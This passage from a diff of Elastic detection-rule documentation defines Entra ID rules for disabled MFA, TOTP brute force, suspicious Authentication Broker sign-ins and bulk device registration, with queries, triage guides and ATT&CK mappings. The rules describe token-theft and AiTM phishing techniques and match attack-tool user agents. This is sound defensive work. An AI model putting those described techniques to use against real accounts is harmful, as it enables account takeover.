"azure.auditlogs" or "o365.audit") and user_agent.original: kali365-live/* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-mfa-disabled-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-mfa-disabled-for-user.asciidoc new file mode 100644 index 0000000000..ef16a9dd6f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-mfa-disabled-for-user.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-entra-id-mfa-disabled-for-user]] +=== Entra ID MFA Disabled for User + +Identifies when multi-factor authentication (MFA) is disabled for an Entra ID user account. An adversary may disable MFA for a user account in order to weaken the authentication requirements for the account. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID MFA Disabled for User* + + +Multi-factor authentication is a process in which users are prompted during the sign-in process for an additional form of identification, such as a code on their cellphone or a fingerprint scan. + +If you only use a password to authenticate a user, it leaves an insecure vector for attack. If the password is weak or has been exposed elsewhere, an attacker could be using it to gain access. When you require a second form of authentication, security is increased because this additional factor isn't something that's easy for an attacker to obtain or duplicate. + +For more information about using MFA in Microsoft Entra ID, access the https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-mfa-howitworks#how-to-enable-and-use-azure-ad-multi-factor-authentication[official documentation]. + +This rule identifies the deactivation of MFA for an Entra ID user account. This modification weakens account security and can lead to the compromise of accounts and other assets. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Correlate with Entra ID Sign-In Logs to identify anomalous sign-in attempts following MFA disablement. +- This rule does not identify if the user was removed from a conditional access policy (CAP) with MFA requirements. + - Instead the rule identifies both legacy and modern MFA disablement through user settings. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security defaults https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/concept-fundamentals-security-defaults[provided by Microsoft]. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" and + (azure.auditlogs.operation_name: "Disable Strong Authentication" or + ( + azure.auditlogs.operation_name: "User deleted security info" and + azure.auditlogs.properties.additional_details.key: "AuthenticationMethod" + )) and event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-mfa-totp-brute-force-attempted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-mfa-totp-brute-force-attempted.asciidoc new file mode 100644 index 0000000000..cce2fcef83 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-mfa-totp-brute-force-attempted.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-entra-id-mfa-totp-brute-force-attempted]] +=== Entra ID MFA TOTP Brute Force Attempted + +Identifies brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. This rule detects high frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attemopt to brute-force TOTP codes by generating several sessions and attempt to guess the correct code. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.oasis.security/resources/blog/oasis-security-research-team-discovers-microsoft-azure-mfa-bypass +* https://learn.microsoft.com/en-us/entra/identity/ +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID MFA TOTP Brute Force Attempted* + + +This rule detects brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. It identifies high-frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attempt to brute-force TOTP codes by generating several sessions and attempting to guess the correct code. + + +*Possible Investigation Steps:* + + + - Check the source addresses associated with the failed TOTP attempts. + - Determine if the source IP address is consistent with the user’s typical login locations. + - Look for unusual geographic patterns or anomalous IP addresses (e.g., proxies, VPNs, or locations outside the user’s normal activity). + - Review the error code associated with the failed attempts. This can help identify if the failures are due to incorrect TOTP codes or other issues. + - Verify that that auth metho reported is `OAth` as it indicates the use of TOTP codes. + - Pivot into signin logs for the target user and check if auth via TOTP was successful which would indicate a successful brute force attempt. + - Review conditional access policies applied to the user or group as reported by the sign-in logs. + - Analyze the client application ID and display name to determine if the attempts are coming from a legitimate application or a potentially malicious script. + - Adversaries may use legitimate FOCI applications to bypass security controls or make login attempts appear legitimate. + - Review the resource ID access is being attempted against such as MyApps, Microsoft Graph, or other resources. This can help identify if the attempts are targeting specific applications or services. + - The correlation IDs or session IDs can be used to trace the authentication attempts across different logs or systems. Note that for this specific behavior, unique session ID count is high and could be challenging to correlate. + + +*False Positive Analysis:* + + + - Verify if the failed attempts could result from the user’s unfamiliarity with TOTP codes or issues with device synchronization. + - Check if the user recently switched MFA methods or devices, which could explain multiple failures. + - Determine if this is whitebox testing or a developer testing MFA integration. + + +*Response and Remediation:* + + + - If proven malicious, lock the affected account temporarily to prevent further unauthorized attempts. + - Notify the user of suspicious activity and validate their access to the account. + - Reset passwords and MFA settings for the affected user to prevent unauthorized access while communicating with the user. + - Ensure conditional access policies are configured to monitor and restrict anomalous login behavior. + - Consider a different MFA method or additional security controls to prevent future bypass attempts. + - Implement additional monitoring to track high-frequency authentication failures across the environment. + - Audit historical logs for similar patterns involving other accounts to identify broader threats. + - Provide guidance on the secure use of MFA and the importance of recognizing and reporting suspicious activity. + + +==== Setup + + + +*Required Entra ID Sign-In Logs* + +This rule requires the Entra ID sign-in logs via the Azure integration be enabled. In Entra ID, sign-in logs must be enabled and streaming to the Event Hub used for the Entra ID logs integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index + +| where + // filter for Entra Sign-in Logs + data_stream.dataset == "azure.signinlogs" + and azure.signinlogs.operation_name == "Sign-in activity" + and azure.signinlogs.properties.user_type == "Member" + + // filter for MFA attempts with OATH conditional access attempts or TOTP + and azure.signinlogs.properties.mfa_detail.auth_method == "OATH verification code" + + // filter on failures only from brute-force attempts + and ( + ( + azure.signinlogs.result_signature == "FAILURE" and + azure.signinlogs.result_description == "Authentication failed during strong authentication request." + ) or azure.signinlogs.properties.status.error_code == 500121 + ) + +| stats + Esql.event_count = count(*), + Esql.azure_signinlogs_properties_session_id_count_distinct = count_distinct(azure.signinlogs.properties.session_id), + Esql.source_address_values = values(source.address), + Esql.azure_tenant_id_valuues = values(azure.tenant_id), + Esql_priv.azure_identity_values = values(azure.signinlogs.identity), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol), + Esql.azure_signinlogs_properties_client_app_used_values = values(azure.signinlogs.properties.client_app_used), + Esql.azure_signinlogs_properties_client_credential_type_values = values(azure.signinlogs.properties.client_credential_type), + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_correlation_id_values = values(azure.signinlogs.properties.correlation_id), + Esql.azure_signinlogs_properties_is_interactive_values = values(azure.signinlogs.properties.is_interactive), + Esql.azure_signinlogs_properties_mfa_detail_auth_method_values = values(azure.signinlogs.properties.mfa_detail.auth_method), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_risk_detail_values = values(azure.signinlogs.properties.risk_detail), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_original_request_id_values = values(azure.signinlogs.properties.original_request_id), + Esql.user_id_values = values(user.id) + by user.id + +| where Esql.event_count >= 20 and Esql.azure_signinlogs_properties_session_id_count_distinct >= 10 + +| keep + Esql.event_count, + Esql.azure_signinlogs_properties_session_id_count_distinct, + Esql.source_address_values, + Esql.azure_tenant_id_valuues, + Esql_priv.azure_identity_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_authentication_protocol_values, + Esql.azure_signinlogs_properties_client_app_used_values, + Esql.azure_signinlogs_properties_client_credential_type_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_correlation_id_values, + Esql.azure_signinlogs_properties_is_interactive_values, + Esql.azure_signinlogs_properties_mfa_detail_auth_method_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_risk_detail_values, + Esql.azure_signinlogs_properties_status_error_code_values, + Esql.azure_signinlogs_properties_original_request_id_values, + Esql.user_id_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-drs-sign-in-from-suspicious-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-drs-sign-in-from-suspicious-asn.asciidoc new file mode 100644 index 0000000000..0d860aeca9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-drs-sign-in-from-suspicious-asn.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-drs-sign-in-from-suspicious-asn]] +=== Entra ID Microsoft Authentication Broker DRS Sign-In from Suspicious ASN + +Detects Microsoft Entra ID sign-in activity where the Microsoft Authentication Broker requests the Device Registration Service from a source autonomous system number (ASN) associated with VPN, residential proxy, or hosting egress commonly observed in OAuth phishing and adversary-in-the-middle device registration flows. This pattern can indicate device join or primary refresh token acquisition staged from attacker-controlled infrastructure after a user completes authentication. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Microsoft Authentication Broker DRS Sign-In from Suspicious ASN* + + +Review `azure.signinlogs.properties.user_principal_name`, `azure.signinlogs.properties.app_display_name`, +`azure.signinlogs.properties.resource_display_name`, `azure.signinlogs.properties.session_id`, `source.ip`, +`source.as.number`, `source.as.organization.name`, and `user_agent.original`. + +Confirm whether the user intentionally registered or joined a device and whether the source ASN is expected for your +enrollment or remote-access programs. + + +*Possible investigation steps* + + +- Correlate `azure.signinlogs.properties.session_id` with other sign-ins for the same user, especially multi-IP OAuth + flows or follow-on primary refresh token usage. +- Review Entra ID audit logs for device registration activity around the same timestamp. +- Compare `source.as.organization.name` against approved VPN, MDM, and automation egress in your environment. +- Hunt for additional users signing in from the same ASN with the same application pair in a short window. + + +*False positive analysis* + + +- Corporate or consumer VPN exit nodes that use ASNs in the rule list are a common source of benign matches during + standard Windows or mobile device join. +- Cloud hosting or ISP NAT pools may intermittently map to listed ASNs without indicating compromise. + + +*Response and remediation* + + +- If malicious, revoke refresh tokens for the user, disable suspicious registered devices, and reset credentials per + policy. +- Review conditional access for the Microsoft Authentication Broker and device registration requirements. +- Escalate per incident procedures when paired with identity protection alerts or impossible travel. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.signinlogs" and event.action:"Sign-in activity" and +source.as.number:( + 399629 or 14061 or 136787 or 9009 or 45102 or 215540 or 29802 or 62240 or 204957 or 395092 or 393406 or 400940 or + 59711 or 132203 +) and +azure.signinlogs.properties.app_display_name:"Microsoft Authentication Broker" and +azure.signinlogs.properties.resource_display_name:"Device Registration Service" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource.asciidoc new file mode 100644 index 0000000000..5c257f8072 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource]] +=== Entra ID Microsoft Authentication Broker Sign-In to Unusual Resource + +Detects successful Microsoft Entra ID sign-ins where the client application is the Microsoft Authentication Broker (MAB) and the requested resource identifier is outside a short list of commonly observed first-party targets. Attackers abuse the broker in phishing and token broker flows to obtain tokens for unexpected APIs or enterprise applications. The exclusion list covers legacy Azure Active Directory, Microsoft Graph, Device Registration Service, Microsoft Intune Enrollment, extend or tune exclusions for your tenant after baselining broker traffic. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/troubleshoot/azure/entra/entra-id/governance/verify-first-party-apps-sign-in +* https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs +* https://any.run/malware-trends/tycoon/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Microsoft Authentication Broker Sign-In to Unusual Resource* + + +Review `azure.signinlogs.properties.user_principal_name`, `azure.signinlogs.properties.resource_id`, +`azure.signinlogs.properties.resource_display_name`, `azure.signinlogs.properties.session_id`, `source.ip`, and +`user_agent.original`. + +Determine whether the resource is a known line-of-business application, partner integration, or Microsoft service not +represented in the rule exclusion list. + + +*Possible investigation steps* + + +- Resolve `resource_id` in Entra ID enterprise applications and compare with change records or app governance inventory. +- Correlate with `azure.signinlogs` and `azure.graphactivitylogs` for follow-on API calls from the same session. +- Review conditional access results and risk detections for the same user and time window. + + +*Response and remediation* + + +- If unauthorized, revoke refresh tokens for the user, review consent and app permissions, and reset credentials per policy. +- Escalate per incident procedures when the resource corresponds to sensitive APIs or high-privilege applications. + + +==== Setup + + +Microsoft Entra ID sign-in logs (`logs-azure.signinlogs-*`) must include `azure.signinlogs.properties.app_id` and +`azure.signinlogs.properties.resource_id`. Tune the exclusion list for first-party resource identifiers your tenant +expects from the Microsoft Authentication Broker. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.signinlogs" and event.category:"authentication" and event.action:"Sign-in activity" and +event.outcome:success and azure.signinlogs.properties.app_id:"29d9ed98-a469-4536-ade2-f981bc1d605e" and +azure.signinlogs.properties.resource_id:(* and not + ("00000002-0000-0000-c000-000000000000" or + "90a2e5d2-fd7a-4a2e-bc90-3dc50ae8e3ee" or + "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" or + "d4ebce55-015a-49b5-a083-c84d1797ae8c" or + "00000003-0000-0000-c000-000000000000" or + "0a5f63c0-b750-4f38-a71c-4fc0d58b89e2") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-with-non-standard-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-with-non-standard-user-agent.asciidoc new file mode 100644 index 0000000000..72b2616fca --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-with-non-standard-user-agent.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-entra-id-microsoft-authentication-broker-sign-in-with-non-standard-user-agent]] +=== Entra ID Microsoft Authentication Broker Sign-In with Non-Standard User Agent + +Detects Microsoft Entra ID sign-in activity where the Microsoft Authentication Broker authenticates is using a user agent that is not consistent with common browser, mobile, or Windows platform authentication clients. Adversary-in-the-middle and OAuth phishing tooling often presents scripted or relayed user agents (for example Node.js, Python, or generic HTTP libraries) while still targeting first-party resources through the broker. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://any.run/malware-trends/tycoon/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Microsoft Authentication Broker Sign-In with Non-Standard User Agent* + + +Review `azure.signinlogs.properties.user_principal_name`, `user_agent.original`, +`azure.signinlogs.properties.resource_display_name`, `azure.signinlogs.properties.session_id`, `source.ip`, and +`source.as.organization.name`. + +Confirm whether the user or application intentionally used a non-browser client against the requested resource. + + +*Possible investigation steps* + + +- Inspect `user_agent.original` for automation libraries (for example `node`, `axios`, `python-requests`, `curl`). +- Correlate `azure.signinlogs.properties.session_id` with other sign-ins, device registration audit events, or Graph + activity in the same time window. +- Review conditional access outcomes and identity protection signals for the user. +- Compare `source.ip` and ASN against expected VPN, MDM, and developer egress. + + +*False positive analysis* + + +- Microsoft platform and mobile clients using Mozilla-, Dalvik-, CFNetwork-, or Windows-AzureAD-Authentication-Provider- + style user agents are excluded by design. +- First-party CLI tools and test harnesses that legitimately broker tokens may still match if they use uncommon user + agent strings. + + +*Response and remediation* + + +- If malicious, revoke refresh tokens for the user, review newly registered devices, and reset credentials per policy. +- Escalate when paired with suspicious ASN sign-ins, multi-IP OAuth flows, or follow-on Graph data access. + + +==== Setup + + +Microsoft Entra ID sign-in logs (`logs-azure.signinlogs-*`) must populate `user_agent.original`, +`azure.signinlogs.properties.app_display_name`, and `azure.signinlogs.properties.resource_display_name`. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.signinlogs" and event.action:"Sign-in activity" and event.outcome:(success or Success) and +(azure.signinlogs.properties.app_display_name:"Microsoft Authentication Broker" or azure.signinlogs.properties.app_id:"29d9ed98-a469-4536-ade2-f981bc1d605e") and +user_agent.original:(* and not (Mozilla* or Dalvik* or *CFNetwork* or Windows-AzureAD-Authentication-Provider* or Java*ThinkPad*)) and +azure.signinlogs.properties.resource_display_name:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-multiple-device-registrations-by-a-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-multiple-device-registrations-by-a-single-user.asciidoc new file mode 100644 index 0000000000..1f7904c66d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-multiple-device-registrations-by-a-single-user.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-entra-id-multiple-device-registrations-by-a-single-user]] +=== Entra ID Multiple Device Registrations by a Single User + +Detects multiple Microsoft Entra ID device registrations by a single user, where three or more distinct devices are registered within a 15-minute window. A legitimate user enrolling a device produces a single "Register device" event; 